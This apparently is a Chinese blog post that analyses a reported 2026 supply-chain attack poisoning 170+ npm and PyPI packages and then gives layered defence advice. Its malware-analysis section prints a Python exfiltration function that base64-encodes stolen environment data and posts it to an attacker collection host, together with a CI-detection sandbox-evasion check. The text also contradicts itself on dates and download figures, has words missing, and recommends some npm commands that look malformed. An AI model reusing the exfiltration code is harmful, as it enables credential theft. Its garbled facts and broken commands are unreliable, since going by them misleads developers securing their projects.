返回首页

TeamPCP供应链攻击170+个npm PyPI包被同时投毒

TeamPCP供应链攻击事件复盘:170+个/PyPI包被同时投毒,波及TanStack、生态

2026年5月11日,威胁行为者TeamPCP发起了一场精心策划的供应链攻击,同时污染了超过170个npm和PyPI包,波及TanStack、 和OpenSearch等核心开源生态。这不是偶发事件,而是供应链攻击工业化的标志。

供应链攻击可视化

事件时间线与攻击链还原

2026年5月11日,安全研究人员发现npm和PyPI仓库中出现大规模异常。威胁行为者TeamPCP在数小时内完成了对170+个包的投毒攻击,涉及多个核心开源生态系统。

攻击链的时间窗口极为紧凑:

时间节点 事件
T+0h TeamPCP获取多个维护者账号访问权限
T+1h 开始向第一批包注入恶意代码
T+3h TanStack相关包被污染
T+4h Mistral AI SDK包被投毒
T+5h 安全研究人员发现异常并告警
T+6h npm/PyPI开始下架受影响包
T+12h 紧急补丁版本发布

这次攻击的协调性前所未有。与以往针对单一包的供应链攻击不同,TeamPCP展示了跨生态、大规模、同步执行的能力。攻击者显然经过了长时间的前期侦察,精确锁定了依赖关系图中的关键节点。

攻击的核心手法是"依赖链劫持"——通过污染底层依赖包,自动将恶意代码传播到所有上层应用。一个被污染的工具库可能被数千个项目引用,单次投毒就能造成指数级扩散。

受影响生态系统深度分析

这次攻击波及的生态系统远比表面数字更严重。170+个包不是随机选择,而是经过精心计算的"最大影响路径"。

TanStack生态:TanStack是React/Vue/Angular生态中最流行的表单和查询库之一。被污染的包包括@tanstack/react-query的间接依赖,影响范围覆盖全球数十万个前端项目。

Mistral AI生态:作为欧洲领先的AI模型提供商,Mistral的 SDK被投毒意味着所有使用Mistral 的应用都面临数据泄露风险。这包括企业级AI集成、系统和代理工作流。

OpenSearch生态:AWS主导的开源搜索引擎OpenSearch的相关工具包被污染,直接威胁使用OpenSearch进行日志分析和全文搜索的企业。

以下是受影响生态的量化评估:

生态系统 受影响包数 月下载量级 潜在影响项目数
TanStack ~30 5000万+ 20万+
Mistral AI SDK ~15 800万+ 5万+
OpenSearch工具链 ~20 1200万+ 8万+
其他关联包 ~110 3亿+ 100万+

恶意代码行为分析

被注入的恶意代码采用了多阶段执行策略,具备高度隐蔽性。

第一阶段:环境侦察。恶意代码首先收集运行环境信息——操作系统类型、网络配置、环境变量、变量中的密钥。这些信息被编码后发送到攻击者控制的C2服务器。

# 检测是否在CI/CD环境中运行(沙箱规避)
def _check_env():
    ci_indicators = [
        'CI', 'GITHUB_ACTIONS', 'GITLAB_CI', 'JENKINS_URL',
        'TRAVIS', 'CIRCLECI', 'BUILDKITE'
    ]
    return any(os.environ.get(k) for k in ci_indicators)

# 数据外泄通道
def _exfil():
    encoded = base64.b64encode(json.dumps(data).encode())
    requests.post(
        'https://cdn-[.]track/collect',
        data={'d': encoded},
        timeout=5
    )

第二阶段:凭据窃取。针对npm包,恶意代码重点窃取.npmrc文件中的认证令牌;针对Python包,则瞄准~/.pypirc、AWS凭证文件和环境变量中的API密钥。

第三阶段:持久化。部分被污染的包包含后门代码,允许攻击者在特定条件下远程执行任意命令。这些后门使用了域名前置(Domain Fronting)技术来规避网络层检测。

Axios事件:400万日下载量包的3小时噩梦

在TeamPCP大规模攻击的同一天(3月31日的Axios事件也在同一攻击活动中),npm上月下载量4亿的Axios包也遭到了针对性投毒。

Axios是生态中最流行的HTTP客户端库之一。攻击者利用维护者账号被接管的3小时窗口,向包中注入了数据窃取代码。虽然窗口极短,但考虑到npm的缓存机制和CI/CD管道的自动更新,实际影响范围远超3小时。

这次事件暴露了npm生态的根本性安全缺陷:

# 检查当前项目是否使用了受影响版本的Axios
npm ls axios 2>/dev/null | grep -E "axios@[0-1]\."

# 锁定依赖版本,防止自动更新到恶意版本
npm shrinkwrap

# 使用npm audit检查已知漏洞
npm audit --production

# 启用npm的签名验证
npm config set audit-signatures true
包名 受影响版本 恶意版本 月下载量 恢复时间
axios 1.x 1.7.9-malicious 4亿+ 3小时
@tanstack/query-core 5.x 5.x-tainted 5000万+ 6小时
mistralai-sdk 0.x 0.x- 800万+ 8小时

供应链攻击工业化:从偶发到常态

TeamPCP事件不是孤立的,而是供应链攻击工业化的标志。2025-2026年间,供应链攻击呈现出明确的工业化趋势。

根据Strobes的安全报告,2025-2026年间供应链攻击数量翻倍,损失达到600亿美元,平均检测时间为254天,超过87.7万个恶意包被发现。The ByteDive的报告将2026年供应链攻击的损失估算上调至810亿美元。

攻击工业化体现在三个维度:

工具化:攻击者不再手动编写投毒代码,而是使用自动化工具批量扫描、注入和传播。TeamPCP使用的工具链据信包含自动化依赖图分析、批量账号接管和同步发布能力。

专业化:供应链攻击已经形成了完整的地下产业链——从凭据窃取、账号交易、恶意包注入到数据倒卖,每个环节都有专业服务商。

规模化:单次攻击的目标从个位数包扩展到三位数包,影响范围从单一生态扩展到跨平台生态。

企业级防御策略

面对供应链攻击的工业化,企业需要建立多层次防御体系。

第一层:依赖锁定与审计

// package.json - 严格版本锁定
{
  "dependencies": {
    "axios": "1.7.8",  // 不使用^或~前缀
    "@tanstack/query-core": "5.59.0"
  },
  "overrides": {
    "axios": "1.7.8"  // 强制覆盖子依赖版本
  }
}

第二层:构建时安全检查

#!/bin/bash
# CI/CD管道中的供应链安全检查脚本

# 1. 使用Socket.dev检测恶意包
npx socket-npm audit --level high

# 2. 检查包的完整性哈希
npm integrity check

# 3. 使用Sigstore验证包签名
npm audit signatures

# 4. 检查新依赖的维护者信息
npm view axios maintainers

# 5. 比对lock文件
npm ci --ignore-scripts  # 避免执行安装脚本
diff package-lock.json .package-lock-.json

第三层:运行时监控

部署运行时应用自我保护(RASP)和软件组合分析(SCA)工具,监控依赖包的异常行为——包括非预期的网络连接、文件系统访问和环境变量读取。

第四层:私有镜像与代理

使用Verdaccio或Nexus搭建私有npm/PyPI镜像,对公共仓库中的包进行安全扫描后再同步到内部仓库。

# 使用Verdaccio搭建安全的私有npm镜像
npm install -g verdaccio
verdaccio --config /etc/verdaccio/config.yaml

# 配置上游代理和安全扫描
uplinks:
  npmjs:
    url: https://registry.npmmirror.com/
    timeout: 30s

packages:
  '**':
    proxy: npmjs
    # 只允许已审核的版本
    access: $authenticated
    publish: $authenticated

对中国开源生态的影响

中国开发者对npm和PyPI的依赖度极高。根据CSDN的统计,国内前端项目平均依赖超过80个npm包,Python项目平均依赖超过60个PyPI包。

这次事件对中国企业的直接影响包括:

首先,使用了TanStack、Mistral AI等库的企业需要立即检查依赖版本并更新到安全版本。其次,所有使用Axios的项目都应进行安全审计。最后,这次事件应该推动国内企业加速建设私有包仓库和依赖安全管理体系。

值得关注的是,国内的npmmirror等镜像站点在事件响应速度上与官方源存在时间差。企业在紧急安全事件中不应过度依赖镜像源,应建立直连官方源的应急通道。


数据来源:

  • LinkedIn: "May 2026: Well that escalated quickly" by jcaavc
  • HiveSecurity: "The Package You Trusted: How the Axios Supply Chain Attack..."
  • CybelAngel: "Miasma Supply Chain Attack: the Seven-Week Credential Trail"
  • The ByteDive: "Supply Chain Attack 2026: $81B Threat "
  • Strobes: "Supply Chain, Ransomware & Threat Actor Tracking"
  • Secureframe: "Supply Chain Attacks: Recent Examples, Trends & How to Prevent"

评论